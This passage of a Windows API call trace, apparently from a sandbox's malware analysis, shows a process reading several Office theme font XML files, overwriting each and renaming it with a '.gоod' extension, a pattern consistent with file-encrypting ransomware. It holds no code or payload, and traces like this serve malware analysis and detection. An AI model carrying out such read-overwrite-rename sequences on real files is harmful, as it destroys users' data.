dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0167.912] GetFileType (hFile=0x644) returned 0x1 [0167.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0167.912] GetFileType (hFile=0x644) returned 0x1 [0167.912] GetFileSize (in: hFile=0x644, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0xdbd [0167.912] ReadFile (in: hFile=0x644, lpBuffer=0x3461648, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x3461648*, lpNumberOfBytesRead=0x200ec818*=0xdbd, lpOverlapped=0x0) returned 1 [0168.495] CloseHandle (hObject=0x644) returned 1 [0168.857] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond.xml", lpFilePart=0x0) returned 0x52 [0168.857] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0168.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\garamond.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0168.858] GetFileType (hFile=0x580) returned 0x1 [0168.859] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0168.859] GetFileType (hFile=0x580) returned 0x1 [0168.859] WriteFile (in: hFile=0x580, lpBuffer=0x35ed558*, nNumberOfBytesToWrite=0xdc0, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x35ed558*, lpNumberOfBytesWritten=0x200ec728*=0xdc0, lpOverlapped=0x0) returned 1 [0168.859] CloseHandle (hObject=0x580) returned 1 [0168.860] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond.xml", lpFilePart=0x0) returned 0x52 [0168.860] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond.xml.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond.xml.gоod", lpFilePart=0x0) returned 0x57 [0168.860] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0168.860] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\garamond.xml"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db99c5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xdc0)) returned 1 [0168.860] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0168.860] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\garamond.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\garamond.xml.gоod")) returned 1 [0168.861] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Georgia.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Georgia.xml", lpFilePart=0x0) returned 0x51 [0168.861] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0168.861] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Georgia.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\georgia.xml"), fInfoLevelId=0x0, lpFileInformation=0x35ee830 | out: lpFileInformation=0x35ee830*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdc2)) returned 1 [0168.861] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0168.861] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Georgia.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Georgia.xml", lpFilePart=0x0) returned 0x51 [0168.861] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0168.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Georgia.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\georgia.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0168.861] GetFileType (hFile=0x580) returned 0x1 [0168.990] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0168.991] GetFileType (hFile=0x580) returned 0x1 [0168.991] GetFileSize (in: hFile=0x580, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0xdc2 [0168.991] ReadFile (in: hFile=0x580, lpBuffer=0x34a3a60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x34a3a60*, lpNumberOfBytesRead=0x200ec818*=0xdc2, lpOverlapped=0x0) returned 1 [0169.023] CloseHandle (hObject=0x580) returned 1 [0169.062] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Georgia.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Georgia.xml", lpFilePart=0x0) returned 0x51 [0169.062] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0169.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Georgia.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\georgia.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0169.063] GetFileType (hFile=0x580) returned 0x1 [0169.063] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0169.063] GetFileType (hFile=0x580) returned 0x1 [0169.063] WriteFile (in: hFile=0x580, lpBuffer=0x359be90*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x359be90*, lpNumberOfBytesWritten=0x200ec728*=0xdd0, lpOverlapped=0x0) returned 1 [0169.064] CloseHandle (hObject=0x580) returned 1 [0169.064] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Georgia.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Georgia.xml", lpFilePart=0x0) returned 0x51 [0169.064] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Georgia.xml.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Georgia.xml.gоod", lpFilePart=0x0) returned 0x56 [0169.064] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0169.064] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Georgia.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\georgia.xml"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60fa98d8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xdd0)) returned 1 [0169.064] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0169.064] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Georgia.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\georgia.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Georgia.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\georgia.xml.gоod")) returned 1 [0169.498] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Gill Sans MT.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Gill Sans MT.xml", lpFilePart=0x0) returned 0x56 [0169.498] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0169.499] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Gill Sans MT.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\gill sans mt.xml"), fInfoLevelId=0x0, lpFileInformation=0x3653490 | out: lpFileInformation=0x3653490*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x115da4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xea1)) returned 1 [0169.550] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0169.596] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Gill Sans MT.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Gill Sans MT.xml", lpFilePart=0x0) returned 0x56 [0169.596] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0169.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Gill Sans MT.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\gill sans mt.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0169.617] GetFileType (hFile=0x640) returned 0x1 [0169.617] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0169.617] GetFileType (hFile=0x640) returned 0x1 [0169.617] GetFileSize (in: hFile=0x640, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0xea1 [0169.617] ReadFile (in: hFile=0x640, lpBuffer=0x34f8078, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x34f8078*, lpNumberOfBytesRead=0x200ec818*=0xea1, lpOverlapped=0x0) returned 1 [0169.619] CloseHandle (hObject=0x640) returned 1 [0169.658] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Gill Sans MT.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Gill Sans MT.xml", lpFilePart=0x0) returned 0x56 [0169.659] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0169.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Gill Sans MT.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\gill sans mt.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0169.660] GetFileType (hFile=0x640) returned 0x1 [0169.660] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0169.660] GetFileType (hFile=0x640) returned 0x1 [0169.660] WriteFile (in: hFile=0x640, lpBuffer=0x35740c8*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x35740c8*, lpNumberOfBytesWritten=0x200ec728*=0xeb0, lpOverlapped=0x0) returned 1 [0169.661] CloseHandle (hObject=0x640) returned 1 [0169.661] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Gill Sans MT.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Gill Sans MT.xml", lpFilePart=0x0) returned 0x56 [0169.661] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Gill Sans MT.xml.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Gill Sans MT.xml.gоod", lpFilePart=0x0) returned 0x5b [0169.661] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0169.661] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Gill Sans MT.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\gill sans mt.xml"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x115da4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6155fab1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xeb0)) returned 1 [0169.662] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0169.662] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Gill Sans MT.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\gill sans mt.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Gill Sans MT.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\gill sans mt.xml.gоod")) returned 1 [0169.662] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Office 2007 - 2010.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Office 2007 - 2010.xml", lpFilePart=0x0) returned 0x5c [0169.663] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0169.663] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Office 2007 - 2010.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\office 2007 - 2010.xml"), fInfoLevelId=0x0, lpFileInformation=0x35753b8 | out: lpFileInformation=0x35753b8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11541b08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe35)) returned 1 [0169.832] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0170.225] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Office 2007 - 2010.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Office 2007 - 2010.xml", lpFilePart=0x0) returned 0x5c [0170.225] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0170.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Office 2007 - 2010.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\office 2007 - 2010.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0170.225] GetFileType (hFile=0x640) returned 0x1 [0170.226] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0170.226] GetFileType (hFile=0x640) returned 0x1 [0170.226] GetFileSize (in: hFile=0x640, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0xe35 [0170.242] ReadFile (in: hFile=0x640, lpBuffer=0x38bb5b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x38bb5b8*, lpNumberOfBytesRead=0x200ec818*=0xe35, lpOverlapped=0x0) returned 1 [0170.244] CloseHandle (hObject=0x640) returned 1 [0170.332] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Office 2007 - 2010.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Office 2007 - 2010.xml", lpFilePart=0x0) returned 0x5c [0170.332] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0170.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Office 2007 - 2010.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\office 2007 - 2010.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0170.334] GetFileType (hFile=0x7fc) returned 0x1 [0170.334] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0170.334] GetFileType (hFile=0x7fc) returned 0x1 [0170.334] WriteFile (in: hFile=0x7fc, lpBuffer=0x332ba28*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x332ba28*, lpNumberOfBytesWritten=0x200ec728*=0xe40, lpOverlapped=0x0) returned 1 [0170.335] CloseHandle (hObject=0x7fc) returned 1 [0170.335] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Office 2007 - 2010.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Office 2007 - 2010.xml", lpFilePart=0x0) returned 0x5c [0170.335] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Office 2007 - 2010.xml.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Office 2007 - 2010.xml.gоod", lpFilePart=0x0) returned 0x61 [0170.335] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0170.335] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Office 2007 - 2010.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\office 2007 - 2010.xml"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x61bc8225, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe40)) returned 1 [0170.642] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0170.642] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Office 2007 - 2010.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\office 2007 - 2010.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Office 2007 - 2010.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\office 2007 - 2010.xml.gоod")) returned 1 [0170.664] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Times New Roman-Arial.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Times New Roman-Arial.xml", lpFilePart=0x0) returned 0x5f [0170.664] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0170.664] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Times New Roman-Arial.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\times new roman-arial.xml"), fInfoLevelId=0x0, lpFileInformation=0x34eede0 | out: lpFileInformation=0x34eede0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xde1)) returned 1 [0170.664] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0170.664] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Times New Roman-Arial.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Times New Roman-Arial.xml", lpFilePart=0x0) returned 0x5f [0170.664] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0170.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Times New Roman-Arial.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\times new roman-arial.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0170.665] GetFileType (hFile=0x640) returned 0x1 [0170.665] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0170.665] GetFileType (hFile=0x640) returned 0x1 [0170.665] GetFileSize (in: hFile=0x640, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0xde1 [0170.665] ReadFile (in: hFile=0x640, lpBuffer=0x34eff00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x34eff00*, lpNumberOfBytesRead=0x200ec818*=0xde1, lpOverlapped=0x0) returned 1 [0170.666] CloseHandle (hObject=0x640) returned 1 [0170.756] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Times New Roman-Arial.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Times New Roman-Arial.xml", lpFilePart=0x0) returned 0x5f [0170.756] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0170.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Times New Roman-Arial.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\times new roman-arial.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0171.133] GetFileType (hFile=0x650) returned 0x1 [0171.133] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0171.133] GetFileType (hFile=0x650) returned 0x1 [0171.133] WriteFile (in: hFile=0x650, lpBuffer=0x34fe050*, nNumberOfBytesToWrite=0xdf0, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x34fe050*, lpNumberOfBytesWritten=0x200ec728*=0xdf0, lpOverlapped=0x0) returned 1 [0171.133] CloseHandle (hObject=0x650) returned 1 [0171.134] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Times New Roman-Arial.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Times New Roman-Arial.xml", lpFilePart=0x0) returned 0x5f [0171.134] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Times New Roman-Arial.xml.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Times New Roman-Arial.xml.gоod", lpFilePart=0x0) returned 0x64 [0171.134] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0171.134] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Times New Roman-Arial.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\times new roman-arial.xml"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: 